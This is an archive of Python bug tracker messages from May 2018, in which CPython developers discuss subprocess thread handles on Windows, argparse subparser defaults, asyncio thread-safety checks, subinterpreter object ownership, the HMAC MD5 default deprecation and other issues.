the comment: The thread handle that CreateProcess returns gets immediately closed in Popen._execute_child, so I can't see how this is due to subprocess. Please check to make sure these thread handles aren't for threads in your own process. Set the lower pane of Process Explorer to show the handle list. For a thread handle, the name field shows the executable name and PID of the process to which the thread is attached. ---------- nosy: +eryksun _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 13:41:55 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 22 May 2018 17:41:55 +0000 Subject: [issue33597] Compact PyGC_Head In-Reply-To: <1526972782.65.0.682650639539.issue33597@psf.upfronthosting.co.za> Message-ID: <1527010915.96.0.682650639539.issue33597@psf.upfronthosting.co.za> Yury Selivanov added the comment: This is such a great idea. +1 from me. ---------- nosy: +yselivanov _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 13:44:16 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 17:44:16 +0000 Subject: [issue23188] Provide a C helper function to chain raised (but not yet caught) exceptions In-Reply-To: <1420687041.12.0.12728944273.issue23188@psf.upfronthosting.co.za> Message-ID: <1527011056.94.0.682650639539.issue23188@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: There is usually more complex code between PyErr_Fetch() and _PyErr_ChainExceptions(): PyObject *exc, *val, *tb, *close_result; PyErr_Fetch(&exc, &val, &tb); close_result = _PyObject_CallMethodId(result, &PyId_close, NULL); _PyErr_ChainExceptions(exc, val, tb); Py_XDECREF(close_result); Many exceptions can be raised and silenced or overridden between, but we are interesting in chaining the only latest exception (or restoring the original exception if all exceptions between were silenced). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 13:49:20 2018 From: report at bugs.python.org (Diego Argueta) Date: Tue, 22 May 2018 17:49:20 +0000 Subject: [issue33593] Support heapq on typed arrays? In-Reply-To: <1526937064.06.0.682650639539.issue33593@psf.upfronthosting.co.za> Message-ID: <1527011360.3.0.682650639539.issue33593@psf.upfronthosting.co.za> Diego Argueta added the comment: However I do see your point about the speed. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 13:57:21 2018 From: report at bugs.python.org (Antoine Pitrou) Date: Tue, 22 May 2018 17:57:21 +0000 Subject: [issue33603] Subprocess Thread handles grow with each call and aren't released until script ends In-Reply-To: <1527001161.43.0.682650639539.issue33603@psf.upfronthosting.co.za> Message-ID: <1527011841.28.0.682650639539.issue33603@psf.upfronthosting.co.za> Change by Antoine Pitrou : ---------- nosy: +giampaolo.rodola, gregory.p.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 13:58:04 2018 From: report at bugs.python.org (miss-islington) Date: Tue, 22 May 2018 17:58:04 +0000 Subject: [issue33592] Document contextvars C API In-Reply-To: <1526923723.99.0.682650639539.issue33592@psf.upfronthosting.co.za> Message-ID: <1527011884.56.0.682650639539.issue33592@psf.upfronthosting.co.za> miss-islington added the comment: New changeset afec2d583a06849c5080c6cd40266743c8e04b3e by Miss Islington (bot) in branch '3.7': bpo-33592: Document the C API in PEP 567 (contextvars) (GH-7033) https://github.com/python/cpython/commit/afec2d583a06849c5080c6cd40266743c8e04b3e ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 14:06:28 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 18:06:28 +0000 Subject: [issue33593] Support heapq on typed arrays? In-Reply-To: <1526937064.06.0.682650639539.issue33593@psf.upfronthosting.co.za> Message-ID: <1527012388.18.0.682650639539.issue33593@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Workaround: alist = list(a) heapq.heapify(alist) a[:] = alist And it should be not much slower than using heapq.heapify() directly if it could support general sequences. Using it with array.array would add significant overhead due to boxing. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 14:08:13 2018 From: report at bugs.python.org (GranPrego) Date: Tue, 22 May 2018 18:08:13 +0000 Subject: [issue33603] Subprocess Thread handles grow with each call and aren't released until script ends In-Reply-To: <1527001161.43.0.682650639539.issue33603@psf.upfronthosting.co.za> Message-ID: <1527012493.75.0.682650639539.issue33603@psf.upfronthosting.co.za> GranPrego added the comment: Process explorer is showing the handles as belonging to the python executable. I can see the cmd process start,then the executable which terminates cleanly. I can see thread handles appearing under the python process, with some terminating, but more green than red, hence the increase. I can post a screenshot tomorrow. Thanks ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 14:16:59 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 18:16:59 +0000 Subject: [issue30940] Documentation for round() is incorrect. In-Reply-To: <1500223918.38.0.72996478594.issue30940@psf.upfronthosting.co.za> Message-ID: <1527013019.22.0.682650639539.issue30940@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 14:29:39 2018 From: report at bugs.python.org (Ned Deily) Date: Tue, 22 May 2018 18:29:39 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1527013779.77.0.682650639539.issue33109@psf.upfronthosting.co.za> Ned Deily added the comment: > Considering the huge popularity of these SO questions, I don't think this should be reverted [...] As I understand it (and, again, I make no claim to be an argparse expert), there does not seem to be one absolutely correct answer here; there has to be a tradeoff. If we revert the change in default as in PR 6919, users porting code from 2.7 will continue to run into the unfortunate change in behavior introduced in 3.3. But, with the reversion, those users are no worse off than they were before: the existing workarounds, like those in the cited SO answers, still apply. And it's a one-time annoyance for them, along with all the other changes they may need to make to port to a current Python 3.x. Whereas, if the change is not reverted, then we introduce a new incompatibility to a new class of users, that is, those upgrading from Python 3.3 through 3.6 to 3.7, generating a new set of SO questions, etc. That seems to be making a less-than-ideal situation worse. So, as release manager, I continue to think that the reversion (PR 6919) should go in to 3.7.0. (For 3.8 and beyond, it would be great to have at least one core developer take responsibility for argparse enhancements.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 14:32:49 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Tue, 22 May 2018 18:32:49 +0000 Subject: [issue33531] test_asyncio: test_subprocess test_stdin_broken_pipe() failure on Travis CI In-Reply-To: <1526452192.92.0.682650639539.issue33531@psf.upfronthosting.co.za> Message-ID: <1527013969.81.0.682650639539.issue33531@psf.upfronthosting.co.za> Terry J. Reedy added the comment: The patch seems to have worked. The last AppVeyor failure was a day ago, when testing the 3.7 backport of the fix. https://ci.appveyor.com/project/python/cpython/history ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 14:45:50 2018 From: report at bugs.python.org (Anthony Sottile) Date: Tue, 22 May 2018 18:45:50 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1527014750.38.0.682650639539.issue33109@psf.upfronthosting.co.za> Anthony Sottile added the comment: Is there then no pathway for actually fixing the bug? aka how can I get `required=True` to be the default. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 14:46:00 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Tue, 22 May 2018 18:46:00 +0000 Subject: [issue33604] HMAC default to MD5 marked as to be removed in 3.6 Message-ID: <1527014760.1.0.682650639539.issue33604@psf.upfronthosting.co.za> New submission from Matthias Bussonnier : HMAC docs says digestmod=md5 default will be removed in 3.6, but was not. We should likely bumpt that to 3.8 in the documentation, and actually remove it in 3.8 ---------- messages: 317322 nosy: mbussonn priority: normal severity: normal status: open title: HMAC default to MD5 marked as to be removed in 3.6 versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 14:48:50 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Tue, 22 May 2018 18:48:50 +0000 Subject: [issue33604] HMAC default to MD5 marked as to be removed in 3.6 In-Reply-To: <1527014760.1.0.682650639539.issue33604@psf.upfronthosting.co.za> Message-ID: <1527014930.24.0.682650639539.issue33604@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- keywords: +patch pull_requests: +6692 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 14:57:01 2018 From: report at bugs.python.org (Eryk Sun) Date: Tue, 22 May 2018 18:57:01 +0000 Subject: [issue33603] Subprocess Thread handles grow with each call and aren't released until script ends In-Reply-To: <1527001161.43.0.682650639539.issue33603@psf.upfronthosting.co.za> Message-ID: <1527015421.26.0.682650639539.issue33603@psf.upfronthosting.co.za> Eryk Sun added the comment: The 2nd example with subprocess.run() creates two threads in the Python process, since you're redirecting both stdout and stderr to pipes and run() calls communicate(). The first example with subprocess.Popen() shouldn't create any threads. In either case, nothing in subprocess should be opening a handle for a thread. Please attach a minimal script that reproduces the problem, preferably running a command everyone can test such as "python.exe -V" and preferably with shell=False if the problem can be reproduced without the shell. Also, describe your Python setup, i.e. the installed distribution and packages. Something could be monkey patching the subprocess module. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:00:04 2018 From: report at bugs.python.org (=?utf-8?b?SHJ2b2plIE5pa8WhacSH?=) Date: Tue, 22 May 2018 19:00:04 +0000 Subject: [issue33605] Detect accessing event loop from a different thread outside of _debug Message-ID: <1527015604.6.0.682650639539.issue33605@psf.upfronthosting.co.za> New submission from Hrvoje Nik?i? : Looking at StackOverflow's python-asyncio tag[1], it appears that it's a very common mistake for users to invoke asyncio functions or methods from a thread other than the event loop thread. In some cases this happens because the user is careless with threads and hasn't read the documentation. But in many cases what happens is that a third-party library invoked a callback in a different thread without making it transparent that that's what it's doing. The trouble is that in many cases doing these things, e.g. calling loop.call_soon() or loop.create_task() from the wrong thread, will *appear to work*. The typical event loop is busy servicing different coroutines, so a function or task enqueued without a proper wakeup gets picked up soon enough. This is, of course, a disaster waiting to happen because it could easily lead to corruption of event loop's data structures. But users don't know that, and many of them become aware of the problem only after wondering "why does my code start working when I add a coroutine that does nothing but asyncio.sleep(0.1) in an infinite loop?" Some may never even fix their code, just assuming that asyncio takes a long time to process a new task or something like that. I suggest that asyncio should be stricter about this error and that methods and functions that operate on the event loop, such as call_soon, call_later, create_task, ensure_future, and close, should all call _check_thread() even when not in debug mode. _check_thread() warns that it "should only be called when self._debug == True", hinting at "performance reasons", but that doesn't seem justified. threading.get_ident() is efficiently implemented in C, and comparing that integer to another cached integer is about as efficient an operation as it gets. The added benefit would be a vast improvement of robustness of asyncio-based programs, saving many hours of debugging. [1] Here is an incomplete list of questions where the users stumbled on this problem, and that's only from the last three months or so: https://stackoverflow.com/questions/49906034/python-asyncio-run-forever-and-tasks https://stackoverflow.com/questions/49851514/python-websockets-and-gtk-confused-about-asyncio-queue https://stackoverflow.com/questions/49533612/using-asyncio-loop-reference-in-another-file https://stackoverflow.com/questions/49093623/strange-behaviour-when-task-added-to-empty-loop-in-different-thread https://stackoverflow.com/questions/48836285/python-asyncio-event-wait-not-responding-to-event-set https://stackoverflow.com/questions/48833644/how-to-wait-for-asynchronous-callback-in-the-background-i-e-not-invoked-by-us https://stackoverflow.com/questions/48695670/running-asynchronous-code-synchronously-in-separate-thread ---------- components: asyncio messages: 317324 nosy: asvetlov, hniksic, yselivanov priority: normal severity: normal status: open title: Detect accessing event loop from a different thread outside of _debug type: enhancement versions: Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:02:16 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 19:02:16 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1527015736.29.0.682650639539.issue33109@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: I tried to use add_subparsers() with required=True and have found it not usable. import argparse parser = argparse.ArgumentParser(prog='PROG') subparsers = parser.add_subparsers(required=True) parser_a = subparsers.add_parser('a') parser_b = subparsers.add_parser('b') parser.parse_args([]) The result: Traceback (most recent call last): File "", line 1, in File "/home/serhiy/py/cpython/Lib/argparse.py", line 1745, in parse_args args, argv = self.parse_known_args(args, namespace) File "/home/serhiy/py/cpython/Lib/argparse.py", line 1777, in parse_known_args namespace, args = self._parse_known_args(args, namespace) File "/home/serhiy/py/cpython/Lib/argparse.py", line 2012, in _parse_known_args ', '.join(required_actions)) TypeError: sequence item 0: expected str instance, NoneType found Seems that not only the default value should be changed, but the whole PR 3027 should be reverted. ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:08:04 2018 From: report at bugs.python.org (Anthony Sottile) Date: Tue, 22 May 2018 19:08:04 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1527016084.34.0.682650639539.issue33109@psf.upfronthosting.co.za> Anthony Sottile added the comment: That's a separate issue (also a bug introduced by the bad 3.3 patch): https://bugs.python.org/issue29298 I have an open PR to fix it as well but it has not seen review action: https://github.com/python/cpython/pull/3680 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:09:53 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Tue, 22 May 2018 19:09:53 +0000 Subject: [issue33593] Support heapq on typed arrays? In-Reply-To: <1526937064.06.0.682650639539.issue33593@psf.upfronthosting.co.za> Message-ID: <1527016193.15.0.682650639539.issue33593@psf.upfronthosting.co.za> Raymond Hettinger added the comment: As noted by Serhiy, the interaction with the Array type would incur significant overhead. Your fastest approach will be to follow his suggest to first convert to a list and then perform heap manipulations. Marking this as closed. Thank you for the suggestion. ---------- resolution: -> rejected stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:13:11 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Tue, 22 May 2018 19:13:11 +0000 Subject: [issue33603] Subprocess Thread handles grow with each call and aren't released [Windows] In-Reply-To: <1527001161.43.0.682650639539.issue33603@psf.upfronthosting.co.za> Message-ID: <1527016391.86.0.682650639539.issue33603@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- title: Subprocess Thread handles grow with each call and aren't released until script ends -> Subprocess Thread handles grow with each call and aren't released [Windows] _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:15:59 2018 From: report at bugs.python.org (Vinay Sajip) Date: Tue, 22 May 2018 19:15:59 +0000 Subject: [issue33606] Improve logging performance when logger disabled Message-ID: <1527016559.5.0.682650639539.issue33606@psf.upfronthosting.co.za> New submission from Vinay Sajip : If a logger is disabled (by setting it's disabled attribute to True), the check for this is done late in the dispatch of the logging event - during the handle() call - rather than isEnabledFor(), which would short-circuit some processing. So the check for logger.disabled should be moved to isEnabledFor(). Credit to Abhijit Gadgil for raising this: https://stackoverflow.com/questions/50453121/logger-disabled-check-much-later-in-python-logging-module-whats-the-rationale ---------- assignee: vinay.sajip components: Library (Lib) messages: 317328 nosy: vinay.sajip priority: normal severity: normal stage: needs patch status: open title: Improve logging performance when logger disabled type: enhancement versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:16:37 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 19:16:37 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1527016597.94.0.682650639539.issue33109@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Wouldn't be better to first fix this bug, and only after that add the 'required' parameter? Adding it introduced yet one bug: when pass arguments as positional, the 'help' argument will be swallowed. You can add new parameters only after existing positional parameters. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:19:38 2018 From: report at bugs.python.org (Eric Snow) Date: Tue, 22 May 2018 19:19:38 +0000 Subject: [issue33607] Explicitly track object ownership (and allocator). Message-ID: <1527016778.74.0.682650639539.issue33607@psf.upfronthosting.co.za> New submission from Eric Snow : When an object is created it happens relative to the current thread (ergo interpreter) and the current allocator (part of global state). We do not track either of these details for the object. It may make sense to start doing so (reasons next). Regarding tracking the interpreter, that originating interpreter can be thought of as the owner. Any lifecycle operations should happen relative to that interpreter. Furthermore, the object should be used in C-API calls only in that interpreter (i.e. when the current thread's Py_ThreadState belongs to that interpreter). This hasn't been an issue since currently all interpreters in the process share the GIL, as well as the fact that subinterpreters haven't been heavily used historically. However, the possibility of no longer sharing the GIL suggests that tracking the owning interpreter (and perhaps even other "sharing" interpreters) would be important. Furthermore, in the last few years subinterpreters have seen increasing usage (see Openstack Ceph), and knowing the originating interpreter for an object can be useful there. Regardless, even in the single interpreter case knowing the owning interpreter is important during runtime finalization (which is currently slightly broken), which impacts CPython embedders. Regarding the allocator, there used to be just a single global one that the runtime used from start to finish. Now the C-API offers a way to switch the allocator, so there's no guarantee that the right allocator is used in PyMem_Free(). This has already had a negative impact on efforts to clean up CPython's runtime initialization. It also results in problems during finalization. Additionally, we are looking into moving the allocator from the global runtime state to the per-interpreter (or even per-thread or per-context) state value. In that world it would be essential to know which allocator was used when creating the object. There are other possible applications based on knowing an object's allocator, but I'll stop there. To sort all this out we would need to track per-object: * originating allocator (pointer or id) * owning interpreter (pointer or id) * (possibly) "sharing" interpreters (linked list?) Either we'd add 2 pointer-size fields to PyObject or we would keep a separate hash table (or two) pointing from each object to the info (similar to how we've considered doing for refcounts). To alleviate impact on the common case (not embedded, single interpreter, same allocator), we could default to not tracking interpreter/allocator and take a lookup failure to mean "main interpreter, default allocator". ---------- messages: 317330 nosy: eric.snow, ncoghlan, vstinner priority: normal severity: normal status: open title: Explicitly track object ownership (and allocator). versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:21:53 2018 From: report at bugs.python.org (Anthony Sottile) Date: Tue, 22 May 2018 19:21:53 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1527016913.83.0.682650639539.issue33109@psf.upfronthosting.co.za> Anthony Sottile added the comment: The bug is orthogonal, you can trigger it without the `required=` keyword argument via the (currently suggested) monkeypatch workaround which restores the pre-3.3 behaviour: import argparse parser = argparse.ArgumentParser() subp = parser.add_subparsers() subp.add_parser('test') subp.required = True parser.parse_args() $ python3 test.py Traceback (most recent call last): File "test.py", line 7, in parser.parse_args() File "/usr/local/Cellar/python/3.6.5/Frameworks/Python.framework/Versions/3.6/lib/python3.6/argparse.py", line 1730, in parse_args args, argv = self.parse_known_args(args, namespace) File "/usr/local/Cellar/python/3.6.5/Frameworks/Python.framework/Versions/3.6/lib/python3.6/argparse.py", line 1762, in parse_known_args namespace, args = self._parse_known_args(args, namespace) File "/usr/local/Cellar/python/3.6.5/Frameworks/Python.framework/Versions/3.6/lib/python3.6/argparse.py", line 1997, in _parse_known_args ', '.join(required_actions)) TypeError: sequence item 0: expected str instance, NoneType found Also note that when `dest` is specified it works fine: import argparse parser = argparse.ArgumentParser() subp = parser.add_subparsers(dest='cmd') subp.add_parser('test') subp.required = True parser.parse_args() $ python3 test.py usage: test.py [-h] {test} ... test.py: error: the following arguments are required: cmd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:23:35 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 19:23:35 +0000 Subject: [issue33109] argparse: make new 'required' argument to add_subparsers default to False instead of True In-Reply-To: <1521553319.23.0.467229070634.issue33109@psf.upfronthosting.co.za> Message-ID: <1527017015.96.0.682650639539.issue33109@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: Please ignore the last paragraph. It was my mistake, all add_subparsers() parameters are keyword-only, and _SubParsersAction is a privale class. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:34:41 2018 From: report at bugs.python.org (Eric Snow) Date: Tue, 22 May 2018 19:34:41 +0000 Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that an object may be destroyed. Message-ID: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za> New submission from Eric Snow : In order to keep subinterpreters properly isolated, objects from one interpreter should not be used in C-API calls in another interpreter. That is relatively straight-forward except in one case: indicating that the other interpreter doesn't need the object to exist any more (similar to PyBuffer_Release() but more general). I consider the following solutions to be the most viable. Both make use of recounts to protect cross-interpreter usage (with incref before sharing). 1. manually switch interpreters (new private function) a. acquire the GIL b. if refcount > 1 then decref and release the GIL c. switch d. new thread (or re-use dedicated one) e. decref f. kill thread g. switch back h. release the GIL 2. change pending call mechanism (see Py_AddPendingCall) to per-interpreter instead of global (add "interp" arg to signature of new private C-API function) a. queue a function that decrefs the object 3. new cross-interpreter-specific private C-API function a. queue the object for decref (a la Py_AddPendingCall) in owning interpreter I favor #2, since it is more generally applicable. #3 would probably be built on #2 anyway. #1 is relatively inefficient. With #2, Py_AddPendingCall() would become a simple wrapper around the new private function. ---------- messages: 317333 nosy: eric.snow, ncoghlan, serhiy.storchaka, vstinner, yselivanov priority: normal severity: normal stage: needs patch status: open title: Add a cross-interpreter-safe mechanism to indicate that an object may be destroyed. versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:36:39 2018 From: report at bugs.python.org (Eric Snow) Date: Tue, 22 May 2018 19:36:39 +0000 Subject: [issue33608] Add a cross-interpreter-safe mechanism to indicate that an object may be destroyed. In-Reply-To: <1527017681.69.0.682650639539.issue33608@psf.upfronthosting.co.za> Message-ID: <1527017799.77.0.682650639539.issue33608@psf.upfronthosting.co.za> Eric Snow added the comment: As a lesser (IMHO) alternative, we could also modify Py_DECREF to respect a new "shared" marker of some sort (perhaps relative to #33607), but that would probably still require one of the refcount-based solutions (and add a branch to Py_DECREF). ---------- versions: +Python 3.8 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 15:47:22 2018 From: report at bugs.python.org (Eric Snow) Date: Tue, 22 May 2018 19:47:22 +0000 Subject: [issue23188] Provide a C helper function to chain raised (but not yet caught) exceptions In-Reply-To: <1420687041.12.0.12728944273.issue23188@psf.upfronthosting.co.za> Message-ID: <1527018442.1.0.682650639539.issue23188@psf.upfronthosting.co.za> Eric Snow added the comment: good point :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:01:15 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 20:01:15 +0000 Subject: [issue33516] unittest.mock: Add __round__ to supported magicmock methods In-Reply-To: <1526384892.72.0.682650639539.issue33516@psf.upfronthosting.co.za> Message-ID: <1527019275.35.0.682650639539.issue33516@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset 6c4fab0f4b95410a1a964a75dcdd953697eff089 by Victor Stinner (John Reese) in branch 'master': bpo-33516: Add support for __round__ in MagicMock (GH-6880) https://github.com/python/cpython/commit/6c4fab0f4b95410a1a964a75dcdd953697eff089 ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:02:10 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 20:02:10 +0000 Subject: [issue33516] unittest.mock: Add __round__ to supported magicmock methods In-Reply-To: <1526384892.72.0.682650639539.issue33516@psf.upfronthosting.co.za> Message-ID: <1527019330.7.0.682650639539.issue33516@psf.upfronthosting.co.za> STINNER Victor added the comment: Thank you Martijn Pieters for the feature request/bug report, and thanks John Reese for the implementation! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:12:27 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 20:12:27 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527019947.18.0.682650639539.issue33565@psf.upfronthosting.co.za> STINNER Victor added the comment: > this means 21 blocks were not released, and in this case leaked because nothing should be held onto after the first iteration (creating the initial connector in the connection pool. In the head object case that's going to be a new connector per iteration, however the old one should go away. I'm not sure that I understand properly. If you call the function many times, does the memory usage increase? I'm not sure that this issue is a bug in Python. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:18:53 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 20:18:53 +0000 Subject: [issue33607] Explicitly track object ownership (and allocator). In-Reply-To: <1527016778.74.0.682650639539.issue33607@psf.upfronthosting.co.za> Message-ID: <1527020333.43.0.682650639539.issue33607@psf.upfronthosting.co.za> STINNER Victor added the comment: "Either we'd add 2 pointer-size fields to PyObject or we would keep a separate hash table (or two) pointing from each object to the info (...)" The expect a huge impact on the memory footprint. I dislike the idea. Currently, the smallest Python object is: >>> sys.getsizeof(object()) 16 It's just two pointers. Adding two additional pointers would simply double the size of the object. "Now the C-API offers a way to switch the allocator, so there's no guarantee that the right allocator is used in PyMem_Free()." I would expect that either all interpreters use the same memory allocator, or that each interpreter uses its own allocator. If you use one allocator per interpreter, calling PyMem_Free() from the wrong interpreter would just crash. As you get a crash when you call free() on an object allocated by PyMem_Free(). You can extend PYTHONMALLOC=debug to detect bugs. This builtin debugger is already able to catch misuses of allocators. Adding extra pointers to this debugger is acceptable since it doesn't modify the footprint of the default mode. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:19:53 2018 From: report at bugs.python.org (Yury Selivanov) Date: Tue, 22 May 2018 20:19:53 +0000 Subject: [issue33605] Detect accessing event loop from a different thread outside of _debug In-Reply-To: <1527015604.6.0.682650639539.issue33605@psf.upfronthosting.co.za> Message-ID: <1527020393.74.0.682650639539.issue33605@psf.upfronthosting.co.za> Yury Selivanov added the comment: > I suggest that asyncio should be stricter about this error and that methods and functions that operate on the event loop, such as call_soon, call_later, create_task, ensure_future, and close, should all call _check_thread() even when not in debug mode. _check_thread() warns that it "should only be called when self._debug == True", hinting at "performance reasons", but that doesn't seem justified. threading.get_ident() is efficiently implemented in C, and comparing that integer to another cached integer is about as efficient an operation as it gets. I'd be OK with this if the performance penalty is within 0.5% in microbenchmarks for asyncio & uvloop. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:21:18 2018 From: report at bugs.python.org (Alexander Mohr) Date: Tue, 22 May 2018 20:21:18 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527020478.54.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: yes, memory does go up. If you click the botocore bug link you'll see a graph of memory usage over time. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:29:18 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Tue, 22 May 2018 20:29:18 +0000 Subject: [issue33604] HMAC default to MD5 marked as to be removed in 3.6 In-Reply-To: <1527014760.1.0.682650639539.issue33604@psf.upfronthosting.co.za> Message-ID: <1527020958.6.0.682650639539.issue33604@psf.upfronthosting.co.za> Change by Matthias Bussonnier : ---------- pull_requests: +6693 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:30:13 2018 From: report at bugs.python.org (Aaron Hall) Date: Tue, 22 May 2018 20:30:13 +0000 Subject: [issue32400] inspect.isdatadescriptor false negative In-Reply-To: <1513882624.99.0.213398074469.issue32400@psf.upfronthosting.co.za> Message-ID: <1527021013.51.0.682650639539.issue32400@psf.upfronthosting.co.za> Change by Aaron Hall : ---------- nosy: +Aaron Hall _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:30:51 2018 From: report at bugs.python.org (Matthias Bussonnier) Date: Tue, 22 May 2018 20:30:51 +0000 Subject: [issue33604] HMAC default to MD5 marked as to be removed in 3.6 In-Reply-To: <1527014760.1.0.682650639539.issue33604@psf.upfronthosting.co.za> Message-ID: <1527021051.09.0.682650639539.issue33604@psf.upfronthosting.co.za> Matthias Bussonnier added the comment: I've sent two PRs, one that updates the deprecation from PendingDeprecationWarning to DeprecationWarning that likely should get applied to 3.6, and 3.7 ? And a PR to actually remove the default in 3.8. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:34:54 2018 From: report at bugs.python.org (STINNER Victor) Date: Tue, 22 May 2018 20:34:54 +0000 Subject: [issue33562] Check that the global settings for asyncio are not changed by tests In-Reply-To: <1526590170.07.0.682650639539.issue33562@psf.upfronthosting.co.za> Message-ID: <1527021294.1.0.682650639539.issue33562@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:37:45 2018 From: report at bugs.python.org (Eric V. Smith) Date: Tue, 22 May 2018 20:37:45 +0000 Subject: [issue33569] dataclasses InitVar does not maintain any type info In-Reply-To: <1526647195.4.0.682650639539.issue33569@psf.upfronthosting.co.za> Message-ID: <1527021465.62.0.682650639539.issue33569@psf.upfronthosting.co.za> Eric V. Smith added the comment: This seems like a reasonable request. ---------- nosy: +eric.smith _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Tue May 22 16:38:27 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Tue, 22 May 2018 20:38:27 +0000 Subject: [issue33604] HMAC default to MD5 marked as to be removed in 3.6 In-Reply-To: 